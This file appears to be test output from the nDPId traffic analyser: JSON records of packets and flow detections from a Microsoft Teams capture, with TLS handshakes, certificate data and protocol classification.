+00424{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":255126,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0wUlAAHUGi9Y0ccKEwKgBBgG77Hiki1UTf05L1oAS\/\/8DeQAAAgQFoAEDAwgBAQQC"} +00407{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":255227,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOx4Abt\/TkvWpItVFFAQIAAkOAAA"} +00699{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":255452,"pkt_caplen":268,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":268,"pkt_l4_len":234,"pkt":"EBMx8Tl2KDc3AG3ICABFAAD+AABAAEAGgVbAqAEGNHHChOx4Abt\/TkvWpItVFFAYIAA3rwAAFgMBANEBAADNAwPZLPUYRvEghAe9kJUNx9IFhytDuazyHj3Xl0vfJTFFvgAAHNrazKnMqMArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACI6uoAAP8BAAEAAAAAGAAWAAATdGVhbXMubWljcm9zb2Z0LmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMXVQAAAACwACAQAACgAKAAi6ugAdABcAGAAbAAMCAAJaWgABAA=="} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":178,"source":"teams.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":4,"flow_first_seen":1587041677243,"flow_last_seen":1587041677255,"flow_tot_l4_data_len":330,"flow_min_l4_data_len":20,"flow_max_l4_data_len":234,"flow_avg_l4_data_len":82,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60536,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"teams.microsoft.com","ja3":"74d5fa154a7fc0a7c655d8eaa34b89bf","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00415{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":266382,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAowUpAAHYGiuE0ccKEwKgBBgG77Hiki1UUf05MrFAQBAE\/YQAAAAAAAAAA"} +02370{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":269133,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUwUtAAHYGhTQ0ccKEwKgBBgG77Hiki1UUf05MrFAQBAH1pQAAFgMDF4QCAABmAwNemFWNnrZpaF22Bped6ZWw91UwI3oUldGCaX5R54k8RiCIFgAA2\/RfiviLafpeQF8wbrmKm4c0zQA\/y2Pu6GvQeMAwAAAeAAUAAAAjAAAAEAAFAAMCaDIAFwAA\/wEAAQAAAAAACwAOdgAOcwAItTCCCLEwggaZoAMCAQICExYACfRizWOR6fGx5P0AAAAJ9GIwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA0MB4XDTE5MDkxMjE4MTY0NVoXDTIxMDkxMjE4MTY0NVowHjEcMBoGA1UEAxMTdGVhbXMubWljcm9zb2Z0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOO+GAF5FB9ACneJsYJqU+PaAkwhs3Pmnh9LB9B35XWkyrIOYraOvvuhrHxhFcxbMuiVa3ke581gm0OvyNFkH2vhqLGtQ51IvKov0oZNIk4rt1kgisStRRDSjUTgKLPQ44s9fKS9qz\/Va1Q2\/LQEZQNYdKcaI2nANY2RmggVm7Aa\/Dx1r4sJ2SJmuRoiN6m9zGBwTorEnL9Q2Qy5FB5\/iaYy2JMNbemS7IbV+TczygQFu\/QwI3ZrqvbUGdtEzDIOU7YZXOmC6UcqvvcY0rIuNd65HCSFAv0X9ivVh0LGDegTyjuqKz68YmBI\/eJFXu94jw\/tEDwiIAZfs4Qk12UiGJsCAwEAAaOCBHgwggR0MIIB9QYKKwYBBAHWeQIEAgSCAeUEggHhAd8AdQDuS723dc5guuFCaR+r4Z5mow9+X7By2IMAxHuJeqj9ywAAAW0mulFVAAAEAwBGMEQCIHebEsXaxq31cmEfhRo\/gehRDe\/E1VvIxKmBjiYm513RAiBg9lvKKuXFDabtrglkBNY11LNgy+HL5dblDYVf8MIppAB2APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABbSa6UVUAAAQDAEcwRQIhAOXf5ZJgk7Qqrx2VlFvAiEAHVXnD3mS7WxPkEHf9oGczAiA4\/Ss\/FGYnu0+Vqu\/igskDlNIA5yQpWRpemVD\/90ZvtAB2AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABbSa6UqQAAAQDAEcwRQIhAOcvU5U2Fi9LD1ckKACgnV\/R4RUZapoJoV\/V8Nkdsox8AiB+s48woDYS2UZcbGfro+s0PlMOsyBbDvpNcsr42cSgwgB2AFzcQ5L+5qtFRLFemtRW5hA3+9X6R9yhc5SyXub2xw7KAAABbSa6UYEAAAQDAEcwRQIhAIBIEv6AY07+qXpuv9wKUq5PN5rdrOhWtdzhJm8jXedKAiBSHHhgI9NvoD6YhCpK3V\/Qif41w296yUSCK7eujn89vzAnBgkrBgEEAYI3FQoEGjAYMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMBMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCIfahnWD7tkBgsmFG4G1nmGF9OtggV2E0t9CgueTegIBZAIBHTCBhQYIKwYBBQUHAQEEeTB3MFEGCCsGAQUFBzAChkVodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcnQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLm1zb2NzcC5jb20wHQYDVR0OBBYEFCbjW3RNU09jtsrWbR3zyYhJ"} +02359{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":269225,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUwUxAAHYGhTM0ccKEwKgBBgG77Hiki1rAf05MrFAQBAF7ywAAxC7UMAsGA1UdDwQEAwIEsDAeBgNVHREEFzAVghN0ZWFtcy5taWNyb3NvZnQuY29tMIGsBgNVHR8EgaQwgaEwgZ6ggZuggZiGS2h0dHA6Ly9tc2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA0LmNybIZJaHR0cDovL2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA0LmNybDBNBgNVHSAERjBEMEIGCSsGAQQBgjcqATA1MDMGCCsGAQUFBwIBFidodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcHMwHwYDVR0jBBgwFoAUenuMwc\/noMoc1Gv6++Ezww8aop0wHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4ICAQAjJY5eD13an7Bpx5xxIqIPAsj0wiAkSQlVHG2eWn1U7EMYkaYNm1bcZdbxatFHak6SPpDF\/BFWOAuxpq29sjki83Ws\/tIbRtncE4DVkv23fvgeWG2G8sq5qx4c5qA830fqmXSktLgOpsdgmBaOYSsTY0x33dUHa4NMN17Lj60Gsd3yzeSYx7BQkMQJ\/V8Vdknwzcy4ja6ZEHFlhJa7naHWvheu4dpEV12l\/I7XnKJj3AvK6V0oRh9ztLUCO5SEw\/4IchbkuDrjeM7N7xqdsbAB+zxItuIRkK6NPYNfq2P1YcBIYP\/55E1YA\/2W2kVT3L2yJ3TBXNrhGw8kxGBtYIUDJYcydM9DjdbmXfvOOXkrLnLmQLDNp1UY2giyd1SVy6dmyy4UPGdKMrUjUJxLeLEth\/qlHwMQ78rdVWdoP1WKC\/rLalfyuTCeXW4p3qIF7Av0WcDgkUyDRhNrOo0xzsIbxL1KpcpwCXtJW8Gn3LPsecGEsCzZJ4Oio5x7suMWRhIOATNYjrQKjkP5yhS6WUM11anpHQdizI1hSi0Dsn9iu9KVNBmLjAhQpIWNLvziKckaPyFYM8Jju2yhenSjGdxKE8kwLk8CNf9zLVQ456aLfF9ge8FhSE9Tl8aBpIGGPaqGtl414VBcDE1HXqCtckuHxFFd2OvG07l2FddY0bGOrgAFuDCCBbQwggScoAMCAQICEAtqs7A+san2xGCSaqjN\/rMwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVyVHJ1c3QgUm9vdDAeFw0xNjA1MjAxMjUyMzhaFw0yNDA1MjAxMjUyMzhaMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNDCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKvl612jazme9TSIErsdUiZdfQkLxnmOq7cO3xmy3e4P9u70VuRG4pIP4mcL4xxxpNRBc7TLmRaOv3d9sK8ebO1xLsMId0pekq7sWtBIgdDF6aD1eo8ejV7TrZLA2saRNTEguTkEzRAqPJcdAJ6ZGBgJz0uX5Mn8APAMWp026LJAwUqshCiqPUYYK6eKrPSvS6h+SULHYiDA5qc7XeuQH7uK2JyQ4zqxbMKUzj4ya8txs0EuucXhXdhZJ4L74UgNfugE8fkBJ0H6lFp9xTC7"} +00407{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":269282,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOx4Abt\/TkyspItgbFAQH9IYOAAA"} +02367{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":269349,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUwU1AAHYGhTI0ccKEwKgBBgG77Hiki2Bsf05MrFAQBAEOfAAAtrrXEZuI+gHMbkuSufh4PMucaJoWZojQk7Aqgy6XER1+gSBh5LC5m5xuU5WVIsbZvXUQutl1jDw\/HdCW+DNFe3sfVDPlSJenBSSi29Hcla4gKn2WiUh7knrQJLHeSBH3Zzy03\/hYYPVPezRo5v2sJgi28yxD20\/EFtCbDHGHsQdrht2PoLH7ZtrYy+ny8GXljtgc6i+6LWTxXtAbULIMhUrPO8guKmp1jMCuXNnpwHx9fNqc471KsGAHgit9XcgQry5ijNya\/eHZuVlIl0Iaw1CBCx+DImvkm7wpIoL9gFFcdV8ONcLdfy96Z589jluMu6+d9MwM+6gfnSHB8+dSGl3OFFdtULhJ7rELJ9LiaScSbsbAJj7npCsbi1M4BvoahzrgS3+ZFk5ZPVlp8XGnZWUbAgMBAAGjggFCMIIBPjAdBgNVHQ4EFgQUenuMwc\/noMoc1Gv6++Ezww8aop0wHwYDVR0jBBgwFoAU5Z1ZMIJHWMys+ghUNoZ7OrUETfAwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwJwYDVR0lBCAwHgYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDCTA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vT21uaXJvb3QyMDI1LmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzANBgkqhkiG9w0BAQsFAAOCAQEAEf5yBjohCjduyPUpIgJinkUO7foGn++\/niQ1F\/45iLK7AeF439GLl\/23d\/GKck9JOuizKdd0h+S58xdgh4iSVYK92X0TSH8GkDqJZuedlveVzWAP1+HK9nbu+ps1SKGYfdKTKk+BFseolrvRJfOmb1DaAJsqqPQ1AOP9LDvt5RWbfxYPx47JNiCU8B0BuRJQUJmB4ChCLI54\/+3GntXkyumgqrNIT6Rf5IsY\/xMCLZARNhhmKDoimt6V8Vnun20qF3WTUMMFEtXeZLS2vNvXdln+pdblVuH+Rlw7ivjsDvvvEpCRziASgbo8UuN\/40D0DEEgZocY2jJp4PbcjyjyvRYABysBAAcnMIIHIwoBAKCCBxwwggcYBgkrBgEFBQcwAQEEggcJMIIHBTCBx6IWBBSf5XT0Ei8HGSR2kg+kjipmqRRaChgPMjAyMDA0MTQxNTQyNTFaMIGbMIGYMEwwCQYFKw4DAhoFAAQUIq8AHIB1Ygcm4MiTGuynQhwyEjoEFHp7jMHP56DKHNRr+vvhM8MPGqKdAhMWAAn0Ys1jkenxseT9AAAACfRigAAYDzIwMjAwNDE0MTU0MjUxWqARGA8yMDIwMDQxODE1NDI1MVqhIjAgMB4GCSsGAQUFBzABBgQRGA8yMDE5MDQxNTE1NDI1MVowDQYJKoZIhvcNAQELBQADggEBAEZyDVJqZdwwAYWXXOD\/WrJx+loWpBj3rt4Ju8CuGr\/+GOp9YaKjTsd1ULlSvIiakNcZCaeerfJWuw5x9pmfpA7sdUm7WfLXt8dHvTIbI6u\/QBpm0O5\/50dK12yFJyL+JLu8x3U0zG70PJS1qjz6q2WjOGOX9GPt6zur4BdBvcpkCoYfpQKxudHidYgsiEHuYGt7bIx7Z3KqvQTd827Gi70N4QvZQ6vZtqxwrT8SwCsNfWDiumaGQnPQr8+459G1FaM+QBf4accdUy1kSzx4bpnaShCU21X0Ar\/6TIxnD8ADKcZWsXt68L09I6Xp6JuhP25qW0XLbHcPtdRR4+PMzRegggUjMIIFHzCCBRswggMDoAMC"} +00408{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":269406,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOx4Abt\/TkyspItmGFAQIAASXgAA"} +02369{"flow_id":8,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":269473,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUwU5AAHYGhTE0ccKEwKgBBgG77Hiki2YYf05MrFAQBAFxvAAAAQICE3gAErJ3YfnO2ox+\/bwAAAASsncwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA0MB4XDTIwMDMxNTE1MzUzOVoXDTIxMDMxNTE1MzUzOVowKzEpMCcGA1UEAwwgTWljcm9zb2Z0X0lUX1RMU19DQV80X0tleUJpbmRpbmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDAEyAX+5SqsGiqoUBRMLbUF1MOQcsxK8kPSKDVxGywx62TXqosok\/w8WIw51eitl2x7hGoq0+h3f95iPllxy7yEMgH7qmedNRiuGxRK+fAa5MH9aVtlomaFyqBArysde41\/HXuL4UW4GtwiAkT5ExgE2wHYEV7T5X03YsAWWM3JKQwMjB+rXZkft+Uk5MWL\/cJto5+yML0QwJr2wL9Ak66bKsuEMnGd8UzoAOAp5Rk0DmxRztNTjl\/lZ2ntFXsAyJALx3q0EDreLw0q2SftDOieUHmNsOvbAPjYsWKtDXayhXR0gqkwAbamSUrmFXf6QE7XDQuHTRyG7d\/srUScNlDAgMBAAGjgdYwgdMwHQYDVR0OBBYEFJ\/ldPQSLwcZJHaSD6SOKmapFFoKMA4GA1UdDwEB\/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDCTAPBgkrBgEFBQcwAQUEAgUAMB8GA1UdIwQYMBaAFHp7jMHP56DKHNRr+vvhM8MPGqKdMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCIfahnWD7tkBgsmFG4G1nmGF9OtggV2BzJtHgcjpFgIBZAIBBzAbBgkrBgEEAYI3FQoEDjAMMAoGCCsGAQUFBwMJMA0GCSqGSIb3DQEBCwUAA4ICAQBQf\/nlSogs2KaMuQIKX+dZl6u\/fN4stOkBATIA+8WfgJ+qNyF20yCllnRhbqa4pd5JTrRYGJZhGA7agazmyim9wGvV0HcHxLLN3oNZBP5gF5jLC0IqxgJEvTiyy1\/1wYRdtr+SpcKNi2ZCac3x7voBvsf3YH\/f1jAp2zQ87qKhRy1PmcUkJdsJR2OnkYNgdR6oPKCsPkPve+qZXjBdfEVjq9duYM1IFFq0MYXUlFCy8YhnxEcasx4mCnA6B14O98ewaSZZhGaP6Py\/67LRhuWf36qXptvXI8bFJZEld25A5aR+COHvYWrlWmmfie3I9YEeDGTVodHmHxesLeBLQQmxpuZgnJ1eZYwSS2g4bPN+OSonsgPlHLzmBJcUpzxJl3mgtcjyN+2OgF46A4V1ENucCVGdLYjsbo\/kk6U7V0KiqERMGjIUeUVMt9tfNUf6xYXUsVOKsIfNcAMbDiCO2hf6q+1nKxCJw6p0qsB1ANlzJi00XH17tvsddvABkR26jQRxWpc1ck4l6ErNYoE186dUnlcdlKjaIHU4jQ4CS6fS1HuZFQD6VdPpfAFSv8BxzC46PHD4wMhUHF2gx9Kp9\/ATrborJ6OxeXVS1Ba+IQzGX6MpVsGiH22VzumR7tEvftwy0MX7pfN+X9yHBrJmVvFG4s6d6wUOHM9cT9DziFvLgAwAAWkDABhhBE+RAXC\/Xyd7UGeindq9xlq2qMKybD1FvF7NS0Q4Wnqgy+n0khMcobgonh6xbfdP6E2KVfyXbwTlraeuMDOGmxneQcHBifND6feNrPEleiAvyZ63CqEHXbuSCiAa5uZ0\/wQBAQAuqm4B5\/bbJuxzQ4HWtDDnbGvzWU\/SbPr4jUYJusk\/mOTB1TEHVi7Ysu5R"} +00706{"flow_id":8,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":269476,"pkt_caplen":271,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":271,"pkt_l4_len":237,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEBwU9AAHYGigM0ccKEwKgBBgG77Hiki2vEf05MrFAYBAHfiwAAXmhm9FMI3qyjcnWYHDq5pJXe5LxxQiXcS7F7UMWyodFmf0Y2n4UV1oaptfAq62Mp0hzP0jkRR8Koy5NnpWVYjEEaobvfceXcy2e5kVF+mgUEbNMUUEHK0j5oyhuvhNYbp2ZSRS2srlEhhTZPrqPsdetHCr7lhX+majSPjB+X\/p7T24uO+LOMiS\/yeCk67d9qdVGcdwSOZ342Z1h4dM\/m4hrDY2zgeDXbNjB\/GfFdIsk52m7C1N7zBwfS2ftaTTJLXZDO0benj1Uao8znBEwW3iHOavB0DgAAAA=="} +01050{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":186,"source":"teams.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":12,"flow_first_seen":1587041677243,"flow_last_seen":1587041677269,"flow_tot_l4_data_len":6515,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":542,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60536,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"teams.microsoft.com","server_names":"teams.microsoft.com","ja3":"74d5fa154a7fc0a7c655d8eaa34b89bf","ja3s":"0f14538e1c9070becdad7739c67d6363","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","issuerDN":"CN=teams.microsoft.com","alpn":"h2,http\/1.1","fingerprint":"68:1E:E8:3C:83:70:6F:E3:86:F4:E8:8C:C4:E6:A0:9A:3E:E0:9C:0E"}} +00408{"flow_id":8,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":190,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":269547,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOx4Abt\/TkyspItsnVAQH8sMDgAA"} +00623{"flow_id":8,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":191,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":274350,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"EBMx8Tl2KDc3AG3ICABFAADGAABAAEAGgY7AqAEGNHHChOx4Abt\/TkyspItsnVAYIADFvQAAFgMDAGYQAABiYQTxgotmGkb9FcH5FUJAmY+IuSsOw5d+NiTKNDdr8gMKGCiRz+OrN2usCVeyQuJ2hYG0lEs1BP4wAxS3bfPvL9r2KEGBZkrJHYatnTVZxhAAdnXdPSdHbUfx19ZFZrZkHzAUAwMAAQEWAwMAKAAAAAAAAAAAaIoAUkcmslIl15A1c+bAL53g4S7Y2eLaeTpGpoRJasw="} +00415{"flow_id":8,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":285008,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAowVBAAHYGits0ccKEwKgBBgG77Hiki2ydf05NSlAQBAEnOgAAAAAAAAAA"} +00406{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":403,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":380886,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGPCzAqAEGlZqnW+SlAbsZTPC8DAoX91AUECaMmwAA"} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":607,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":408485,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":607,"source":"teams.pcap","alias":"nDPId-test","type":34969} +00779{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":608,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":422728,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzES5AAEARZ+PAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGADtdrMEAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":617,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":611261,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":617,"source":"teams.pcap","alias":"nDPId-test","type":38} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":618,"source":"teams.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1587041678029,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60537,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 